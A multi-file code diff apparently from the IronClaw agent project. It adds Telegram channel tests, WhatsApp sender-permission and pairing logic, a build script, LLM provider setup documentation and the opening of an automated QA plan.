if cleaned_text.is_empty() && trimmed_content.starts_with('/') {
return Some(trimmed_content.to_string());
}
if cleaned_text.is_empty() {
return None;
}
Some(cleaned_text)
}
// ============================================================================
// Utilities
// ============================================================================
@@ -1181,62 +1296,126 @@ mod tests {
// Commands with args: command prefix stripped, args returned
assert_eq!(clean_message_text("/start hello", None), "hello");
assert_eq!(clean_message_text("/help me please", None), "me please");
assert_eq!(clean_message_text("/model claude-opus-4-6", None), "claude-opus-4-6");
assert_eq!(
clean_message_text("/model claude-opus-4-6", None),
"claude-opus-4-6"
);
}
/// Tests for the content_to_emit logic in handle_message.
/// Since handle_message uses WASM host calls, we test the decision logic inline.
/// Since handle_message uses WASM host calls, test the extracted decision function.
#[test]
fn test_content_to_emit_logic() {
// Simulates the content_to_emit decision for various inputs.
// This mirrors the logic in handle_message after clean_message_text.
fn resolve_content(content: &str) -> Option<String> {
let cleaned_text = clean_message_text(content, None);
let trimmed_content = content.trim();
if trimmed_content.eq_ignore_ascii_case("/start") {
Some("[User started the bot]".to_string())
} else if cleaned_text.is_empty() && trimmed_content.starts_with('/') {
Some(trimmed_content.to_string())
} else if cleaned_text.is_empty() {
None // would return/skip in handle_message
} else {
Some(cleaned_text)
}
}
// /start → welcome placeholder
assert_eq!(resolve_content("/start"), Some("[User started the bot]".to_string()));
assert_eq!(resolve_content("/Start"), Some("[User started the bot]".to_string()));
assert_eq!(resolve_content(" /start "), Some("[User started the bot]".to_string()));
assert_eq!(
content_to_emit_for_agent("/start", None),
Some("[User started the bot]".to_string())
);
assert_eq!(
content_to_emit_for_agent("/Start", None),
Some("[User started the bot]".to_string())
);
assert_eq!(
content_to_emit_for_agent(" /start ", None),
Some("[User started the bot]".to_string())
);
// /start with args → pass args through
assert_eq!(resolve_content("/start hello"), Some("hello".to_string()));
assert_eq!(
content_to_emit_for_agent("/start hello", None),
Some("hello".to_string())
);
// Control commands → pass through raw so Submission::parse() can match
assert_eq!(resolve_content("/interrupt"), Some("/interrupt".to_string()));
assert_eq!(resolve_content("/stop"), Some("/stop".to_string()));
assert_eq!(resolve_content("/help"), Some("/help".to_string()));
assert_eq!(resolve_content("/undo"), Some("/undo".to_string()));
assert_eq!(resolve_content("/redo"), Some("/redo".to_string()));
assert_eq!(resolve_content("/ping"), Some("/ping".to_string()));
assert_eq!(resolve_content("/tools"), Some("/tools".to_string()));
assert_eq!(resolve_content("/compact"), Some("/compact".to_string()));
assert_eq!(resolve_content("/clear"), Some("/clear".to_string()));
assert_eq!(resolve_content("/version"), Some("/version".to_string()));
assert_eq!(
content_to_emit_for_agent("/interrupt", None),
Some("/interrupt".to_string())
);
assert_eq!(
content_to_emit_for_agent("/stop", None),
Some("/stop".to_string())
);
assert_eq!(
content_to_emit_for_agent("/help", None),
Some("/help".to_string())
);
assert_eq!(
content_to_emit_for_agent("/undo", None),
Some("/undo".to_string())
);
assert_eq!(
content_to_emit_for_agent("/redo", None),
Some("/redo".to_string())
);
assert_eq!(
content_to_emit_for_agent("/ping", None),
Some("/ping".to_string())
);
assert_eq!(
content_to_emit_for_agent("/tools", None),
Some("/tools".to_string())
);
assert_eq!(
content_to_emit_for_agent("/compact", None),
Some("/compact".to_string())
);
assert_eq!(
content_to_emit_for_agent("/clear", None),
Some("/clear".to_string())
);
assert_eq!(
content_to_emit_for_agent("/version", None),
Some("/version".to_string())
);
assert_eq!(
content_to_emit_for_agent("/approve", None),
Some("/approve".to_string())
);
assert_eq!(
content_to_emit_for_agent("/always", None),
Some("/always".to_string())
);
assert_eq!(
content_to_emit_for_agent("/deny", None),
Some("/deny".to_string())
);
assert_eq!(
content_to_emit_for_agent("/yes", None),
Some("/yes".to_string())
);
assert_eq!(
content_to_emit_for_agent("/no", None),
Some("/no".to_string())
);
// Commands with args → cleaned text (command stripped)
assert_eq!(resolve_content("/help me please"), Some("me please".to_string()));
assert_eq!(
content_to_emit_for_agent("/help me please", None),
Some("me please".to_string())
);
// Plain text → pass through
assert_eq!(resolve_content("hello world"), Some("hello world".to_string()));
assert_eq!(resolve_content("just text"), Some("just text".to_string()));
assert_eq!(
content_to_emit_for_agent("hello world", None),
Some("hello world".to_string())
);
assert_eq!(
content_to_emit_for_agent("just text", None),
Some("just text".to_string())
);
// Empty / whitespace → skip (None)
assert_eq!(resolve_content(""), None);
assert_eq!(resolve_content(" "), None);
assert_eq!(content_to_emit_for_agent("", None), None);
assert_eq!(content_to_emit_for_agent(" ", None), None);
// Bare @mention without bot → skip
assert_eq!(resolve_content("@botname"), None);
assert_eq!(content_to_emit_for_agent("@botname", None), None);
// With bot username configured: other mentions are preserved.
assert_eq!(
content_to_emit_for_agent("@alice hello", Some("MyBot")),
Some("@alice hello".to_string())
);
}
#[test]
@@ -1317,4 +1496,236 @@ mod tests {
assert_eq!(msg.text, None);
assert_eq!(msg.caption.as_deref(), Some("What's in this image?"));
}
#[test]
fn test_get_updates_url_includes_offset_and_timeout() {
let url = get_updates_url(444_809_884, 30);
assert!(url.contains("offset=444809884"));
assert!(url.contains("timeout=30"));
assert!(url.contains("allowed_updates=[\"message\",\"edited_message\"]"));
}
#[test]
fn test_classify_status_update_thinking() {
let update = StatusUpdate {
status: StatusType::Thinking,
message: "Thinking...".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Typing)
);
}
#[test]
fn test_classify_status_update_approval_needed() {
let update = StatusUpdate {
status: StatusType::ApprovalNeeded,
message: "Approval needed for tool 'http_request'".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Approval needed for tool 'http_request'".to_string()
))
);
}
#[test]
fn test_classify_status_update_done_ignored() {
let update = StatusUpdate {
status: StatusType::Done,
message: "Done".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_auth_required() {
let update = StatusUpdate {
status: StatusType::AuthRequired,
message: "Authentication required for weather.".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Authentication required for weather.".to_string()
))
);
}
#[test]
fn test_classify_status_update_tool_started_ignored() {
let update = StatusUpdate {
status: StatusType::ToolStarted,
message: "Tool started: http_request".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_tool_completed_ignored() {
let update = StatusUpdate {
status: StatusType::ToolCompleted,
message: "Tool completed: http_request (ok)".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_job_started_notify() {
let update = StatusUpdate {
status: StatusType::JobStarted,
message: "Job started: Daily sync".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Job started: Daily sync".to_string()
))
);
}
#[test]
fn test_classify_status_update_auth_completed_notify() {
let update = StatusUpdate {
status: StatusType::AuthCompleted,
message: "Authentication completed for weather.".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Authentication completed for weather.".to_string()
))
);
}
#[test]
fn test_classify_status_update_tool_result_ignored() {
let update = StatusUpdate {
status: StatusType::ToolResult,
message: "Tool result: http_request ...".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_awaiting_approval_ignored() {
let update = StatusUpdate {
status: StatusType::Status,
message: "Awaiting approval".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_interrupted_ignored() {
let update = StatusUpdate {
status: StatusType::Interrupted,
message: "Interrupted".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_done_ignored_case_insensitive() {
let update = StatusUpdate {
status: StatusType::Status,
message: "done".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_interrupted_ignored() {
let update = StatusUpdate {
status: StatusType::Status,
message: "interrupted".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_rejected_ignored() {
let update = StatusUpdate {
status: StatusType::Status,
message: "Rejected".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_notify() {
let update = StatusUpdate {
status: StatusType::Status,
message: "Context compaction started".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Context compaction started".to_string()
))
);
}
#[test]
fn test_status_message_for_user_ignores_blank() {
let update = StatusUpdate {
status: StatusType::AuthRequired,
message: " ".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(status_message_for_user(&update), None);
}
#[test]
fn test_truncate_status_message_appends_ellipsis() {
let input = "abcdefghijklmnopqrstuvwxyz";
let output = truncate_status_message(input, 10);
assert_eq!(output, "abcdefghij...");
}
#[test]
fn test_status_message_for_user_truncates_long_input() {
let update = StatusUpdate {
status: StatusType::AuthRequired,
message: "x".repeat(700),
metadata_json: "{}".to_string(),
};
let msg = status_message_for_user(&update).expect("expected message");
assert!(msg.len() <= TELEGRAM_STATUS_MAX_CHARS + 3);
assert!(msg.ends_with("..."));
}
}
@@ -1 +1,54 @@
{"type":"channel","name":"telegram","description":"Telegram Bot API channel for receiving and responding to Telegram messages","capabilities":{"http":{"allowlist":[{"host":"api.telegram.org","path_prefix":"/bot"}],"credentials":{"telegram_bot":{"secret_name":"telegram_bot_token","location":{"type":"url_path","placeholder":"{TELEGRAM_BOT_TOKEN}"},"host_patterns":["api.telegram.org"]}},"rate_limit":{"requests_per_minute":30,"requests_per_hour":1000}},"secrets":{"allowed_names":["telegram_*"]},"channel":{"allowed_paths":["/webhook/telegram"],"allow_polling":true,"min_poll_interval_ms":30000,"workspace_prefix":"channels/telegram/","emit_rate_limit":{"messages_per_minute":100,"messages_per_hour":5000}}},"config":{"bot_username":null,"owner_id":null,"respond_to_all_group_messages":false,"polling_enabled":false,"poll_interval_ms":30000,"dm_policy":"pairing","allow_from":[]}}
{
"type": "channel",
"name": "telegram",
"description": "Telegram Bot API channel for receiving and responding to Telegram messages",
"setup": {
"required_secrets": [
{
"name": "telegram_bot_token",
"prompt": "Enter your Telegram Bot API token (from @BotFather)",
"optional": false
}
]
},
"capabilities": {
"http": {
"allowlist": [
{ "host": "api.telegram.org", "path_prefix": "/bot" }
],
"credentials": {
"telegram_bot": {
"secret_name": "telegram_bot_token",
"location": { "type": "url_path", "placeholder": "{TELEGRAM_BOT_TOKEN}" },
"host_patterns": ["api.telegram.org"]
}
},
"rate_limit": {
"requests_per_minute": 30,
"requests_per_hour": 1000
}
},
"secrets": {
"allowed_names": ["telegram_*"]
},
"channel": {
"allowed_paths": ["/webhook/telegram"],
"allow_polling": true,
"min_poll_interval_ms": 30000,
"workspace_prefix": "channels/telegram/",
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
}
}
},
"config": {
"bot_username": null,
"owner_id": null,
"respond_to_all_group_messages": false,
"polling_enabled": false,
"poll_interval_ms": 30000,
"dm_policy": "pairing",
"allow_from": []
}
}
+2
View File
@@ -16,3 +16,5 @@ serde_json = "1"
opt-level = "s"
lto = true
strip = true
[workspace]
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the WhatsApp channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - whatsapp.wasm - WASM component ready for deployment
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building WhatsApp channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
# Optimize the component
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your access token to secrets:"
echo " # Set whatsapp_access_token in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
+191
View File
@@ -226,6 +226,15 @@ struct WhatsAppMessageMetadata {
timestamp: String,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "whatsapp";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct WhatsAppConfig {
@@ -236,6 +245,15 @@ struct WhatsAppConfig {
/// Whether to reply to the original message (thread context)
#[serde(default = "default_reply_to_message")]
reply_to_message: bool,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
fn default_api_version() -> String {
@@ -264,6 +282,9 @@ impl Guest for WhatsAppChannel {
WhatsAppConfig {
api_version: default_api_version(),
reply_to_message: default_reply_to_message(),
owner_id: None,
dm_policy: None,
allow_from: None,
}
}
};
@@ -279,6 +300,24 @@ impl Guest for WhatsAppChannel {
// Persist api_version in workspace so on_respond() can read it
let _ = channel_host::workspace_write("channels/whatsapp/api_version", &config.api_version);
// Persist permission config for handle_message
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
// WhatsApp Cloud API is webhook-only, no polling available
Ok(ChannelConfig {
display_name: "WhatsApp".to_string(),
@@ -604,6 +643,15 @@ fn handle_message(
// Look up sender's name from contacts
let user_name = contact_names.get(&message.from).cloned();
// Permission check (WhatsApp is always DM)
if !check_sender_permission(
&message.from,
user_name.as_deref(),
phone_number_id,
) {
return;
}
// Build metadata for response routing
// This is critical - the response handler uses this to know where to send
let metadata = WhatsAppMessageMetadata {
@@ -637,6 +685,149 @@ fn handle_message(
// Utilities
// ============================================================================
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Check if a sender is permitted. Returns true if allowed.
/// WhatsApp is always 1-to-1 (DM), so dm_policy always applies.
fn check_sender_permission(
sender_phone: &str,
user_name: Option<&str>,
phone_number_id: &str,
) -> bool {
// 1. Owner check (highest priority)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if sender_phone != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping message from non-owner {} (owner: {})",
sender_phone, owner
),
);
return false;
}
return true;
}
// 2. DM policy (WhatsApp is always DM)
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender (phone number or name)
let is_allowed = allowed.contains(&"*".to_string())
|| allowed.contains(&sender_phone.to_string())
|| user_name.is_some_and(|u| allowed.contains(&u.to_string()));
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"phone": sender_phone,
"name": user_name,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, sender_phone, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for {}: code {}",
sender_phone, result.code
),
);
if result.created {
let _ = send_pairing_reply(sender_phone, phone_number_id, &result.code);
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code message via WhatsApp Cloud API.
fn send_pairing_reply(
recipient_phone: &str,
phone_number_id: &str,
code: &str,
) -> Result<(), String> {
let api_version = channel_host::workspace_read("channels/whatsapp/api_version")
.filter(|s| !s.is_empty())
.unwrap_or_else(|| "v18.0".to_string());
let url = format!(
"https://graph.facebook.com/{}/{}/messages",
api_version, phone_number_id
);
let payload = serde_json::json!({
"messaging_product": "whatsapp",
"recipient_type": "individual",
"to": recipient_phone,
"type": "text",
"text": {
"preview_url": false,
"body": format!(
"To pair with this bot, run: ironclaw pairing approve whatsapp {}",
code
)
}
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({
"Content-Type": "application/json",
"Authorization": "Bearer {WHATSAPP_ACCESS_TOKEN}"
});
let result = channel_host::http_request(
"POST",
&url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"WhatsApp API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
/// Create a JSON HTTP response.
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
let body = serde_json::to_vec(&value).unwrap_or_default();
@@ -48,6 +48,9 @@
},
"config": {
"api_version": "v18.0",
"reply_to_message": true
"reply_to_message": true,
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
}
}
+8
View File
@@ -0,0 +1,8 @@
# Complexity guardrails for AI-assisted development quality.
# These thresholds prevent new violations while preserving existing code.
# See: https://github.com/nearai/ironclaw/issues/338
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
+8 -5
View File
@@ -2,12 +2,15 @@
# Do not use placeholder passwords in production.
DATABASE_URL=postgres://ironclaw:CHANGE_ME@localhost:5432/ironclaw
# NEAR AI
NEARAI_SESSION_TOKEN=CHANGE_ME
# NEAR AI Cloud (API key auth, Chat Completions API)
# Get an API key from https://cloud.near.ai
NEARAI_API_KEY=CHANGE_ME
NEARAI_MODEL=claude-3-5-sonnet-20241022
NEARAI_BASE_URL=https://private.near.ai
NEARAI_AUTH_URL=https://private.near.ai
NEARAI_API_MODE=chat_completions
NEARAI_BASE_URL=https://cloud-api.near.ai
# Or use NEAR AI Chat (session token auth, Responses API):
# NEARAI_SESSION_TOKEN=sess_...
# NEARAI_BASE_URL=https://private.near.ai
# Agent
AGENT_NAME=ironclaw
+172
View File
@@ -0,0 +1,172 @@
# LLM Provider Configuration
IronClaw defaults to NEAR AI for model access, but supports any OpenAI-compatible
endpoint as well as Anthropic and Ollama directly. This guide covers the most common
configurations.
## Provider Overview
| Provider | Backend value | Requires API key | Notes |
|---|---|---|---|
| NEAR AI | `nearai` | OAuth (browser) | Default; multi-model |
| Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models |
| OpenAI | `openai` | `OPENAI_API_KEY` | GPT models |
| Ollama | `ollama` | No | Local inference |
| OpenRouter | `openai_compatible` | `LLM_API_KEY` | 300+ models |
| Together AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
| Fireworks AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
| vLLM / LiteLLM | `openai_compatible` | Optional | Self-hosted |
| LM Studio | `openai_compatible` | No | Local GUI |
---
## NEAR AI (default)
No additional configuration required. On first run, `ironclaw onboard` opens a browser
for OAuth authentication. Credentials are saved to `~/.ironclaw/session.json`.
```env
NEARAI_MODEL=claude-3-5-sonnet-20241022
NEARAI_BASE_URL=https://private.near.ai
```
---
## Anthropic (Claude)
```env
LLM_BACKEND=anthropic
ANTHROPIC_API_KEY=sk-ant-...
```
Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022`
---
## OpenAI (GPT)
```env
LLM_BACKEND=openai
OPENAI_API_KEY=sk-...
```
Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini`
---
## Ollama (local)
Install Ollama from [ollama.com](https://ollama.com), pull a model, then:
```env
LLM_BACKEND=ollama
OLLAMA_MODEL=llama3.2
# OLLAMA_BASE_URL=http://localhost:11434 # default
```
Pull a model first: `ollama pull llama3.2`
---
## OpenAI-Compatible Endpoints
All providers below use `LLM_BACKEND=openai_compatible`. Set `LLM_BASE_URL` to the
provider's OpenAI-compatible endpoint and `LLM_API_KEY` to your API key.
### OpenRouter
[OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://openrouter.ai/api/v1
LLM_API_KEY=sk-or-...
LLM_MODEL=anthropic/claude-sonnet-4
```
Popular OpenRouter model IDs:
| Model | ID |
|---|---|
| Claude Sonnet 4 | `anthropic/claude-sonnet-4` |
| GPT-4o | `openai/gpt-4o` |
| Llama 4 Maverick | `meta-llama/llama-4-maverick` |
| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` |
| Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` |
Browse all models at [openrouter.ai/models](https://openrouter.ai/models).
### Together AI
[Together AI](https://www.together.ai) provides fast inference for open-source models.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://api.together.xyz/v1
LLM_API_KEY=...
LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
```
Popular Together AI model IDs:
| Model | ID |
|---|---|
| Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` |
| DeepSeek R1 | `deepseek-ai/DeepSeek-R1` |
| Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` |
### Fireworks AI
[Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://api.fireworks.ai/inference/v1
LLM_API_KEY=fw_...
LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
```
### vLLM / LiteLLM (self-hosted)
For self-hosted inference servers:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:8000/v1
LLM_API_KEY=token-abc123 # set to any string if auth is not configured
LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct
```
LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure):
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:4000/v1
LLM_API_KEY=sk-...
LLM_MODEL=gpt-4o # as configured in litellm config.yaml
```
### LM Studio (local GUI)
Start LM Studio's local server, then:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:1234/v1
LLM_MODEL=llama-3.2-3b-instruct-q4_K_M
# LLM_API_KEY is not required for LM Studio
```
---
## Using the Setup Wizard
Instead of editing `.env` manually, run the onboarding wizard:
```bash
ironclaw onboard
```
Select **"OpenAI-compatible"** for OpenRouter, Together AI, Fireworks, vLLM, LiteLLM,
or LM Studio. You will be prompted for the base URL and (optionally) an API key.
The model name is configured in the following step.
+908
View File
@@ -0,0 +1,908 @@
# Automated QA Plan for IronClaw
**Date:** 2026-02-24
**Status:** Draft
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
---
## Motivation
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
| Category | Examples | Root Cause |
|----------|----------|------------|
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
---
## Tier 1: Schema & Contract Tests
**Cost:** Low (pure Rust tests, no infrastructure)
**Timeline:** Can land incrementally, one PR per sub-task
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
### 1.1 Tool Schema Validator
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
- Top-level has `"type": "object"`
- Every key in `"required"` exists in `"properties"`
- Every property has a `"type"` field
- No `additionalProperties` unless explicitly set
- Nested objects follow the same rules recursively
```rust
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
#[test]
fn all_tool_schemas_are_openai_strict_valid() {
let registry = ToolRegistry::new();
register_all_builtins(&mut registry);
for tool in registry.all_tools() {
let schema = tool.parameters_schema();
validate_strict_schema(&schema, &tool.name())
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
}
}
```
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
### 1.2 Config Round-Trip Tests
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
Cover the specific bugs found:
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
- Session token stored under `nearai.session_token` (not `nearai.session`)
```rust
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
// Simulate restart: load from env file
dotenv::from_path(&env_path).unwrap();
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
}
```
**Files:** New `tests/config_round_trip.rs`
### 1.3 Feature-Flag CI Matrix
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
Add a CI matrix:
```yaml
# .github/workflows/test.yml
strategy:
matrix:
features:
- "--all-features"
- "" # default features only
- "--no-default-features --features libsql"
steps:
- name: Run Tests
run: cargo test ${{ matrix.features }} -- --nocapture
```
Update `code_style.yml` to also run clippy with `--all-features`:
```yaml
- name: Check lints (all features)
run: cargo clippy --all-features -- -D warnings
- name: Check lints (libsql only)
run: cargo clippy --no-default-features --features libsql -- -D warnings
```
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
### 1.4 Docker Build in CI
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
```yaml
# .github/workflows/test.yml - new job
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
```
**Files:** Modify `.github/workflows/test.yml`
---
## Tier 2: Integration Tests
**Cost:** Medium (needs test harnesses, possibly testcontainers)
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
### 2.1 Test Harness: In-Memory Database Backend
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
```rust
// src/testing.rs
pub async fn test_db() -> impl Database {
let backend = LibSqlBackend::open_in_memory().await.unwrap();
backend.run_migrations().await.unwrap();
backend
}
```
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
### 2.2 Turn Persistence Tests
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
```rust
#[tokio::test]
async fn approved_tool_call_persists_turn() {
let db = test_db().await;
let mut agent = TestAgent::new(db);
// Create a turn with a pending tool call
agent.submit("search for cats").await;
// Simulate tool approval
agent.approve_tool_call(0).await;
// Verify turn is in DB (not just in memory)
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
assert!(turns.iter().any(|t| t.has_tool_result()));
}
```
Cover:
- Approved tool call with successful result
- Approved tool call with error result
